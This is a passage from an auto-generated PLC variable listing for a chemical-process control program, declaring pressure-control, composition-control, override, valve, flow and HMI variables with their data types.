+125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; 